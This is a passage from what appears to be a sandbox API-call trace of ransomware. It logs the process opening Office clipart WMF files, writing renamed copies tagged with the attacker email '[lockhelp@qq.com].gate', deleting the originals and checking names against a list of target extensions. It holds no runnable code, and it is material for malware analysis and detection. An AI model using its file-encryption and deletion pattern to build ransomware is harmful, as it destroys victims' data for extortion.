lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0290.591] SetEndOfFile (hFile=0x4c4) returned 1 [0290.591] CloseHandle (hObject=0x4c4) returned 1 [0290.592] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.592] SetEndOfFile (hFile=0x4b0) returned 1 [0290.594] CloseHandle (hObject=0x4b0) returned 1 [0290.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0290.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0290.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0290.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0290.595] lstrlenW (lpString=".doc") returned 4 [0290.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.595] lstrlenW (lpString=".docx") returned 5 [0290.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.595] lstrlenW (lpString=".pdf") returned 4 [0290.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.595] lstrlenW (lpString=".xls") returned 4 [0290.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.595] lstrlenW (lpString=".xlsx") returned 5 [0290.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.596] lstrlenW (lpString=".ppt") returned 4 [0290.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0290.596] lstrlenW (lpString=".zip") returned 4 [0290.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.596] lstrlenW (lpString=".rar") returned 4 [0290.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.596] lstrlenW (lpString=".bz2") returned 4 [0290.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.596] lstrlenW (lpString=".7z") returned 3 [0290.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0290.596] lstrlenW (lpString=".dbf") returned 4 [0290.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0290.596] lstrlenW (lpString=".1cd") returned 4 [0290.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0290.596] lstrlenW (lpString=".jpg") returned 4 [0290.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0290.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0290.596] lstrlenW (lpString=".doc") returned 4 [0290.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.596] lstrlenW (lpString=".docx") returned 5 [0290.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.596] lstrlenW (lpString=".pdf") returned 4 [0290.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.596] lstrlenW (lpString=".xls") returned 4 [0290.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.596] lstrlenW (lpString=".xlsx") returned 5 [0290.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.596] lstrlenW (lpString=".ppt") returned 4 [0290.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0290.597] lstrlenW (lpString=".zip") returned 4 [0290.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.597] lstrlenW (lpString=".rar") returned 4 [0290.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.597] lstrlenW (lpString=".bz2") returned 4 [0290.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.597] lstrlenW (lpString=".7z") returned 3 [0290.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0290.597] lstrlenW (lpString=".dbf") returned 4 [0290.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0290.597] lstrlenW (lpString=".1cd") returned 4 [0290.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0290.597] lstrlenW (lpString=".jpg") returned 4 [0290.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.597] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0290.597] lstrlenW (lpString="BS00438_.WMF") returned 12 [0290.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0290.611] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=1212) returned 1 [0290.611] CloseHandle (hObject=0x418) returned 1 [0290.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x220 [0290.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0290.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0290.612] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.612] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0290.612] GetLastError () returned 0x0 [0290.612] ReadFile (in: hFile=0x418, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x4bc, lpOverlapped=0x0) returned 1 [0290.777] WriteFile (in: hFile=0x4d0, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0290.778] ReadFile (in: hFile=0x418, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0290.778] WriteFile (in: hFile=0x4d0, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0290.779] SetEndOfFile (hFile=0x4d0) returned 1 [0290.779] CloseHandle (hObject=0x4d0) returned 1 [0290.780] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.780] SetEndOfFile (hFile=0x418) returned 1 [0290.783] CloseHandle (hObject=0x418) returned 1 [0290.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0290.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0290.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0290.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0290.784] lstrlenW (lpString=".doc") returned 4 [0290.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.784] lstrlenW (lpString=".docx") returned 5 [0290.784] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.784] lstrlenW (lpString=".pdf") returned 4 [0290.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.784] lstrlenW (lpString=".xls") returned 4 [0290.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.785] lstrlenW (lpString=".xlsx") returned 5 [0290.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.785] lstrlenW (lpString=".ppt") returned 4 [0290.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0290.785] lstrlenW (lpString=".zip") returned 4 [0290.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.785] lstrlenW (lpString=".rar") returned 4 [0290.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.785] lstrlenW (lpString=".bz2") returned 4 [0290.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.785] lstrlenW (lpString=".7z") returned 3 [0290.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0290.785] lstrlenW (lpString=".dbf") returned 4 [0290.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0290.785] lstrlenW (lpString=".1cd") returned 4 [0290.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0290.785] lstrlenW (lpString=".jpg") returned 4 [0290.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0290.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0290.786] lstrlenW (lpString=".doc") returned 4 [0290.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.786] lstrlenW (lpString=".docx") returned 5 [0290.786] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.786] lstrlenW (lpString=".pdf") returned 4 [0290.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.786] lstrlenW (lpString=".xls") returned 4 [0290.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.786] lstrlenW (lpString=".xlsx") returned 5 [0290.786] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.786] lstrlenW (lpString=".ppt") returned 4 [0290.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0290.786] lstrlenW (lpString=".zip") returned 4 [0290.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.786] lstrlenW (lpString=".rar") returned 4 [0290.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.786] lstrlenW (lpString=".bz2") returned 4 [0290.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.786] lstrlenW (lpString=".7z") returned 3 [0290.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0290.786] lstrlenW (lpString=".dbf") returned 4 [0290.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0290.786] lstrlenW (lpString=".1cd") returned 4 [0290.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0290.786] lstrlenW (lpString=".jpg") returned 4 [0290.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.787] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0290.787] lstrlenW (lpString="BS00442_.WMF") returned 12 [0290.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0290.787] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2488) returned 1 [0290.787] CloseHandle (hObject=0x418) returned 1 [0290.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x220 [0290.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0290.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0290.788] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.788] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0290.789] GetLastError () returned 0x0 [0290.789] ReadFile (in: hFile=0x418, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0291.023] WriteFile (in: hFile=0x4d0, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0291.023] ReadFile (in: hFile=0x418, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0291.023] WriteFile (in: hFile=0x4d0, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0291.023] SetEndOfFile (hFile=0x4d0) returned 1 [0291.024] CloseHandle (hObject=0x4d0) returned 1 [0291.027] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.027] SetEndOfFile (hFile=0x418) returned 1 [0291.033] CloseHandle (hObject=0x418) returned 1 [0291.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0291.037] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0291.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0291.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0291.037] lstrlenW (lpString=".doc") returned 4 [0291.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.037] lstrlenW (lpString=".docx") returned 5 [0291.037] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.037] lstrlenW (lpString=".pdf") returned 4 [0291.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.037] lstrlenW (lpString=".xls") returned 4 [0291.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.037] lstrlenW (lpString=".xlsx") returned 5 [0291.037] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.037] lstrlenW (lpString=".ppt") returned 4 [0291.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0291.037] lstrlenW (lpString=".zip") returned 4 [0291.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.038] lstrlenW (lpString=".rar") returned 4 [0291.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.038] lstrlenW (lpString=".bz2") returned 4 [0291.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.038] lstrlenW (lpString=".7z") returned 3 [0291.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0291.038] lstrlenW (lpString=".dbf") returned 4 [0291.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0291.038] lstrlenW (lpString=".1cd") returned 4 [0291.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0291.038] lstrlenW (lpString=".jpg") returned 4 [0291.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0291.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0291.038] lstrlenW (lpString=".doc") returned 4 [0291.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.038] lstrlenW (lpString=".docx") returned 5 [0291.038] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.038] lstrlenW (lpString=".pdf") returned 4 [0291.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.038] lstrlenW (lpString=".xls") returned 4 [0291.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.038] lstrlenW (lpString=".xlsx") returned 5 [0291.038] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.038] lstrlenW (lpString=".ppt") returned 4 [0291.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0291.038] lstrlenW (lpString=".zip") returned 4 [0291.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.039] lstrlenW (lpString=".rar") returned 4 [0291.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.039] lstrlenW (lpString=".bz2") returned 4 [0291.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.039] lstrlenW (lpString=".7z") returned 3 [0291.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0291.039] lstrlenW (lpString=".dbf") returned 4 [0291.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0291.039] lstrlenW (lpString=".1cd") returned 4 [0291.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0291.039] lstrlenW (lpString=".jpg") returned 4 [0291.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.039] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0291.039] lstrlenW (lpString="BS01080_.WMF") returned 12 [0291.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0291.040] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2732) returned 1 [0291.040] CloseHandle (hObject=0x418) returned 1 [0291.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x220 [0291.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0291.040] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.040] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0291.041] GetLastError () returned 0x0 [0291.041] ReadFile (in: hFile=0x418, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xaac, lpOverlapped=0x0) returned 1 [0291.095] WriteFile (in: hFile=0x414, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xab0, lpOverlapped=0x0) returned 1 [0291.095] ReadFile (in: hFile=0x418, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0291.096] WriteFile (in: hFile=0x414, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0291.096] SetEndOfFile (hFile=0x414) returned 1 [0291.096] CloseHandle (hObject=0x414) returned 1 [0291.096] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.097] SetEndOfFile (hFile=0x418) returned 1 [0291.099] CloseHandle (hObject=0x418) returned 1 [0291.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 